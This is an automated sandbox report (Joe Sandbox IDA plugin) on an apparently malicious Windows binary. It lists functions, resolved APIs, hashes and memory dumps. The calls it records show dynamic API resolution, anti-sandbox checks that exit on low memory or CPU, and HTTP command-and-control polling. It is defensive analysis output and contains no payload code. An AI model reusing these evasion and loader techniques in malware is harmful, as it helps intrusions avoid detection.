Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: f73b4c280847de73e84dc4681c35e59c614f9f46ea7059f1629fdd71f2ee22d9
Instruction ID: 09e2d11e4bc54d5fe854ad34f111d290c4b5f584aaa42a5a56ff3357c6003331
Opcode Fuzzy Hash: f73b4c280847de73e84dc4681c35e59c614f9f46ea7059f1629fdd71f2ee22d9
Instruction Fuzzy Hash: 2BF044B1944209ABC700DFD4DD45FAEBBF8FB09711F100159FA15E2680C7785505CBA1

Function 00861160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 0086116A
ExitProcess.KERNEL32 ref: 0086117E

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 2e3bb39154bec08c12252dec9364e46eac4de7ce8276924abeab6947cf2ba109
Instruction ID: 015ebf2de52d4f2a3fc87f2e1df6b329c34bfcf48871df7388fb058f7615ddad
Opcode Fuzzy Hash: 2e3bb39154bec08c12252dec9364e46eac4de7ce8276924abeab6947cf2ba109
Instruction Fuzzy Hash: AED05E7490030DDBCB00DFE0D8496EEBBB8FB09311F001554D905A2380EB305882CBA6

Function 00879C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,011572A8), ref: 00879C2D
GetProcAddress.KERNEL32(75900000,01157408), ref: 00879C45
GetProcAddress.KERNEL32(75900000,011699E0), ref: 00879C5E
GetProcAddress.KERNEL32(75900000,011697E8), ref: 00879C76
GetProcAddress.KERNEL32(75900000,0116D5C0), ref: 00879C8E
GetProcAddress.KERNEL32(75900000,0116D380), ref: 00879CA7
GetProcAddress.KERNEL32(75900000,0115BB38), ref: 00879CBF
GetProcAddress.KERNEL32(75900000,0116D4E8), ref: 00879CD7
GetProcAddress.KERNEL32(75900000,0116D4B8), ref: 00879CF0
GetProcAddress.KERNEL32(75900000,0116D4D0), ref: 00879D08
GetProcAddress.KERNEL32(75900000,0116D500), ref: 00879D20
GetProcAddress.KERNEL32(75900000,01157468), ref: 00879D39
GetProcAddress.KERNEL32(75900000,011575C8), ref: 00879D51
GetProcAddress.KERNEL32(75900000,01157328), ref: 00879D69
GetProcAddress.KERNEL32(75900000,011575E8), ref: 00879D82
GetProcAddress.KERNEL32(75900000,0116D4A0), ref: 00879D9A
GetProcAddress.KERNEL32(75900000,0116D530), ref: 00879DB2
GetProcAddress.KERNEL32(75900000,0115BD40), ref: 00879DCB
GetProcAddress.KERNEL32(75900000,01157488), ref: 00879DE3
GetProcAddress.KERNEL32(75900000,0116D518), ref: 00879DFB
GetProcAddress.KERNEL32(75900000,0116D578), ref: 00879E14
GetProcAddress.KERNEL32(75900000,0116D548), ref: 00879E2C
GetProcAddress.KERNEL32(75900000,0116D5A8), ref: 00879E44
GetProcAddress.KERNEL32(75900000,01157608), ref: 00879E5D
GetProcAddress.KERNEL32(75900000,0116D458), ref: 00879E75
GetProcAddress.KERNEL32(75900000,0116D3F8), ref: 00879E8D
GetProcAddress.KERNEL32(75900000,0116D5D8), ref: 00879EA6
GetProcAddress.KERNEL32(75900000,0116D5F0), ref: 00879EBE
GetProcAddress.KERNEL32(75900000,0116D608), ref: 00879ED6
GetProcAddress.KERNEL32(75900000,0116D368), ref: 00879EEF
GetProcAddress.KERNEL32(75900000,0116D398), ref: 00879F07
GetProcAddress.KERNEL32(75900000,0116D428), ref: 00879F1F
GetProcAddress.KERNEL32(75900000,0116D590), ref: 00879F38
GetProcAddress.KERNEL32(75900000,0116AAD8), ref: 00879F50
GetProcAddress.KERNEL32(75900000,0116D560), ref: 00879F68
GetProcAddress.KERNEL32(75900000,0116D620), ref: 00879F81
GetProcAddress.KERNEL32(75900000,011574E8), ref: 00879F99
GetProcAddress.KERNEL32(75900000,0116D638), ref: 00879FB1
GetProcAddress.KERNEL32(75900000,01157288), ref: 00879FCA
GetProcAddress.KERNEL32(75900000,0116D350), ref: 00879FE2
GetProcAddress.KERNEL32(75900000,0116D3B0), ref: 00879FFA
GetProcAddress.KERNEL32(75900000,011571C8), ref: 0087A013
GetProcAddress.KERNEL32(75900000,01156F08), ref: 0087A02B
LoadLibraryA.KERNEL32(0116D3C8,?,00875CA3,00880AEB,?,?,?,?,?,?,?,?,?,?,00880AEA,00880AE3), ref: 0087A03D
LoadLibraryA.KERNEL32(0116D3E0,?,00875CA3,00880AEB,?,?,?,?,?,?,?,?,?,?,00880AEA,00880AE3), ref: 0087A04E
LoadLibraryA.KERNEL32(0116D410,?,00875CA3,00880AEB,?,?,?,?,?,?,?,?,?,?,00880AEA,00880AE3), ref: 0087A060
LoadLibraryA.KERNEL32(0116D440,?,00875CA3,00880AEB,?,?,?,?,?,?,?,?,?,?,00880AEA,00880AE3), ref: 0087A072
LoadLibraryA.KERNEL32(0116D470,?,00875CA3,00880AEB,?,?,?,?,?,?,?,?,?,?,00880AEA,00880AE3), ref: 0087A083
LoadLibraryA.KERNEL32(0116D488,?,00875CA3,00880AEB,?,?,?,?,?,?,?,?,?,?,00880AEA,00880AE3), ref: 0087A095
LoadLibraryA.KERNEL32(0116D830,?,00875CA3,00880AEB,?,?,?,?,?,?,?,?,?,?,00880AEA,00880AE3), ref: 0087A0A7
LoadLibraryA.KERNEL32(0116D770,?,00875CA3,00880AEB,?,?,?,?,?,?,?,?,?,?,00880AEA,00880AE3), ref: 0087A0B8
GetProcAddress.KERNEL32(75FD0000,011570E8), ref: 0087A0DA
GetProcAddress.KERNEL32(75FD0000,0116D8F0), ref: 0087A0F2
GetProcAddress.KERNEL32(75FD0000,011693E8), ref: 0087A10A
GetProcAddress.KERNEL32(75FD0000,0116D8D8), ref: 0087A123
GetProcAddress.KERNEL32(75FD0000,01156FE8), ref: 0087A13B
GetProcAddress.KERNEL32(6FEA0000,0115BAE8), ref: 0087A160
GetProcAddress.KERNEL32(6FEA0000,01157208), ref: 0087A179
GetProcAddress.KERNEL32(6FEA0000,0115BD68), ref: 0087A191
GetProcAddress.KERNEL32(6FEA0000,0116D7A0), ref: 0087A1A9
GetProcAddress.KERNEL32(6FEA0000,0116D8A8), ref: 0087A1C2
GetProcAddress.KERNEL32(6FEA0000,01156F68), ref: 0087A1DA
GetProcAddress.KERNEL32(6FEA0000,01157008), ref: 0087A1F2
GetProcAddress.KERNEL32(6FEA0000,0116D6B0), ref: 0087A20B
GetProcAddress.KERNEL32(763B0000,01157188), ref: 0087A22C
GetProcAddress.KERNEL32(763B0000,01157108), ref: 0087A244
GetProcAddress.KERNEL32(763B0000,0116D7D0), ref: 0087A25D
GetProcAddress.KERNEL32(763B0000,0116D7E8), ref: 0087A275
GetProcAddress.KERNEL32(763B0000,01157128), ref: 0087A28D
GetProcAddress.KERNEL32(750F0000,0115BB88), ref: 0087A2B3
GetProcAddress.KERNEL32(750F0000,0115B9D0), ref: 0087A2CB
GetProcAddress.KERNEL32(750F0000,0116D740), ref: 0087A2E3
GetProcAddress.KERNEL32(750F0000,01156F88), ref: 0087A2FC
GetProcAddress.KERNEL32(750F0000,01156F28), ref: 0087A314
GetProcAddress.KERNEL32(750F0000,0115BA20), ref: 0087A32C
GetProcAddress.KERNEL32(75A50000,0116D758), ref: 0087A352
GetProcAddress.KERNEL32(75A50000,01156E88), ref: 0087A36A
GetProcAddress.KERNEL32(75A50000,01169558), ref: 0087A382
GetProcAddress.KERNEL32(75A50000,0116D8C0), ref: 0087A39B
GetProcAddress.KERNEL32(75A50000,0116D848), ref: 0087A3B3
GetProcAddress.KERNEL32(75A50000,01156EA8), ref: 0087A3CB
GetProcAddress.KERNEL32(75A50000,01156FC8), ref: 0087A3E4
GetProcAddress.KERNEL32(75A50000,0116D860), ref: 0087A3FC
GetProcAddress.KERNEL32(75A50000,0116D680), ref: 0087A414
GetProcAddress.KERNEL32(75070000,01157228), ref: 0087A436
GetProcAddress.KERNEL32(75070000,0116D728), ref: 0087A44E
GetProcAddress.KERNEL32(75070000,0116D908), ref: 0087A466
GetProcAddress.KERNEL32(75070000,0116D878), ref: 0087A47F
GetProcAddress.KERNEL32(75070000,0116D788), ref: 0087A497
GetProcAddress.KERNEL32(74E50000,011571E8), ref: 0087A4B8
GetProcAddress.KERNEL32(74E50000,01157148), ref: 0087A4D1
GetProcAddress.KERNEL32(75320000,01156F48), ref: 0087A4F2
GetProcAddress.KERNEL32(75320000,0116D668), ref: 0087A50A
GetProcAddress.KERNEL32(6F060000,01156FA8), ref: 0087A530
GetProcAddress.KERNEL32(6F060000,011571A8), ref: 0087A548
GetProcAddress.KERNEL32(6F060000,01157028), ref: 0087A560
GetProcAddress.KERNEL32(6F060000,0116D6C8), ref: 0087A579
GetProcAddress.KERNEL32(6F060000,01157048), ref: 0087A591
GetProcAddress.KERNEL32(6F060000,01157248), ref: 0087A5A9
GetProcAddress.KERNEL32(6F060000,011570C8), ref: 0087A5C2
GetProcAddress.KERNEL32(6F060000,01157168), ref: 0087A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0087A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0087A607
GetProcAddress.KERNEL32(74E00000,0116D920), ref: 0087A629
GetProcAddress.KERNEL32(74E00000,01169568), ref: 0087A641
GetProcAddress.KERNEL32(74E00000,0116D938), ref: 0087A659
GetProcAddress.KERNEL32(74E00000,0116D698), ref: 0087A672
GetProcAddress.KERNEL32(74DF0000,01156E68), ref: 0087A693
GetProcAddress.KERNEL32(6E680000,0116D800), ref: 0087A6B4
GetProcAddress.KERNEL32(6E680000,01157068), ref: 0087A6CD
GetProcAddress.KERNEL32(6E680000,0116D650), ref: 0087A6E5
GetProcAddress.KERNEL32(6E680000,0116D6E0), ref: 0087A6FD

Strings

HttpQueryInfoA, xrefs: 0087A5FC
InternetSetOptionA, xrefs: 0087A5E5

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 86b769aa9320944c2870f4a8d2f3a531f02e7497f87c449bc17f40566337052c
Instruction ID: 526fcb56df2acae6020169079c8171cf4cd00049647df4e7c48753ff37d07a4e
Opcode Fuzzy Hash: 86b769aa9320944c2870f4a8d2f3a531f02e7497f87c449bc17f40566337052c
Instruction Fuzzy Hash: 2F623EB6600212AFC395DFE8ED8896637F9F76E701714851AA609C32F4D7399443CF62

Function 00866280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

Part of subcall function 008647B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00864839
Part of subcall function 008647B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00864849

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

InternetOpenA.WININET(00880DFE,00000001,00000000,00000000,00000000), ref: 008662E1
StrCmpCA.SHLWAPI(?,0116ED88), ref: 00866303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00866335
HttpOpenRequestA.WININET(00000000,GET,?,0116E750,00000000,00000000,00400100,00000000), ref: 00866385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008663BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008663D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 008663FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0086646D
InternetCloseHandle.WININET(00000000), ref: 008664EF
InternetCloseHandle.WININET(00000000), ref: 008664F9
InternetCloseHandle.WININET(00000000), ref: 00866503

Strings

ERROR, xrefs: 008664C9
GET, xrefs: 0086637C
ERROR, xrefs: 00866407

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 9eb93bc1145ff392641e54898d44825396da895cee8bc6231fb60a198fe8daf9
Instruction ID: 0b07e4fe82c4149397c1bbe5fd74de6f7c681035f955c52e878efd5874138982
Opcode Fuzzy Hash: 9eb93bc1145ff392641e54898d44825396da895cee8bc6231fb60a198fe8daf9
Instruction Fuzzy Hash: A9712F71A00258ABDB14DFE4DC49BEE77B8FB45700F108158F50AAB2D4DBB4AA85CF52

Function 00875510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0087A820: lstrlen.KERNEL32(00864F05,?,?,00864F05,00880DDE), ref: 0087A82B
Part of subcall function 0087A820: lstrcpy.KERNEL32(00880DDE,00000000), ref: 0087A885

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00875644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 008756A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00875857

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

Part of subcall function 008751F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00875228

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

Part of subcall function 008752C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00875318
Part of subcall function 008752C0: lstrlen.KERNEL32(00000000), ref: 0087532F
Part of subcall function 008752C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00875364
Part of subcall function 008752C0: lstrlen.KERNEL32(00000000), ref: 00875383
Part of subcall function 008752C0: lstrlen.KERNEL32(00000000), ref: 008753AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0087578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00875940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00875A0C
Sleep.KERNEL32(0000EA60), ref: 00875A1B

Strings

ERROR, xrefs: 008759FE
ERROR, xrefs: 00875636
ERROR, xrefs: 00875693
ERROR, xrefs: 00875932
ERROR, xrefs: 0087577D
ERROR, xrefs: 00875849

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 245e9172db7da670742e6868e30821cddb0e24592a78cfaad51a79bace6f281b
Instruction ID: 7739cbb6530e9c0057b68bd508391e54e6aa3c3149e9fb1173539c8109494fa0
Opcode Fuzzy Hash: 245e9172db7da670742e6868e30821cddb0e24592a78cfaad51a79bace6f281b
Instruction Fuzzy Hash: E2E122719101089ACB18FBB8DC969ED7378FB94300F50C528B51AD61D9EF74EA0ACB93

Function 008717A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 008717C5
ExitProcess.KERNEL32 ref: 008717D1

Strings

block, xrefs: 008717B7

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 3c72e6c260c123fe4ccd8e3fb5d3095297ab7f24fd947610908233351acbc01c
Instruction ID: 49e743c9a9ddcd3e1e154cbd919520da2e92b6c287ddc9c76a6432b4bd1262d2
Opcode Fuzzy Hash: 3c72e6c260c123fe4ccd8e3fb5d3095297ab7f24fd947610908233351acbc01c
Instruction Fuzzy Hash: 33517BB4A04209EBCB04DFA8C858BBE7BB5FF54304F10C058E519E7284D735E946CB62

Function 00877500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00877542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0087757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00877603
RtlAllocateHeap.NTDLL(00000000), ref: 0087760A
wsprintfA.USER32 ref: 00877640

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Strings

\, xrefs: 00877560
:, xrefs: 0087755C
C, xrefs: 0087754C

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: d14d603da70f09c4d7d56a9ee11739c2c288979a8ca68db32c7f7671afc1c5b8
Instruction ID: 14c55dac87ec47bc85084cd63e69e885fa8d31d79762dc82b171e337c8242848
Opcode Fuzzy Hash: d14d603da70f09c4d7d56a9ee11739c2c288979a8ca68db32c7f7671afc1c5b8
Instruction Fuzzy Hash: AA41A2B1D04248EBDB10DF98DC45BEEBBB8FF18704F104199F509A7284D778AA44CBA6

Function 008769F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,01161190), ref: 008798A1
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,01161298), ref: 008798BA
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,01161340), ref: 008798D2
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,011613B8), ref: 008798EA
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,011611D8), ref: 00879903
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,01169498), ref: 0087991B
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,01157368), ref: 00879933
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,01157568), ref: 0087994C
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,01161118), ref: 00879964
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,01161130), ref: 0087997C
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,011612B0), ref: 00879995
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,01161310), ref: 008799AD
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,01157588), ref: 008799C5
Part of subcall function 00879860: GetProcAddress.KERNEL32(75900000,01161358), ref: 008799DE

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 008611D0: ExitProcess.KERNEL32 ref: 00861211

Part of subcall function 00861160: GetSystemInfo.KERNEL32(?), ref: 0086116A
Part of subcall function 00861160: ExitProcess.KERNEL32 ref: 0086117E

Part of subcall function 00861110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0086112B
Part of subcall function 00861110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00861132
Part of subcall function 00861110: ExitProcess.KERNEL32 ref: 00861143

Part of subcall function 00861220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0086123E
Part of subcall function 00861220: __aulldiv.LIBCMT ref: 00861258
Part of subcall function 00861220: __aulldiv.LIBCMT ref: 00861266
Part of subcall function 00861220: ExitProcess.KERNEL32 ref: 00861294

Part of subcall function 00876770: GetUserDefaultLangID.KERNEL32 ref: 00876774

Part of subcall function 00861190: ExitProcess.KERNEL32 ref: 008611C6

Part of subcall function 00877850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,008611B7), ref: 00877880
Part of subcall function 00877850: RtlAllocateHeap.NTDLL(00000000), ref: 00877887
Part of subcall function 00877850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0087789F

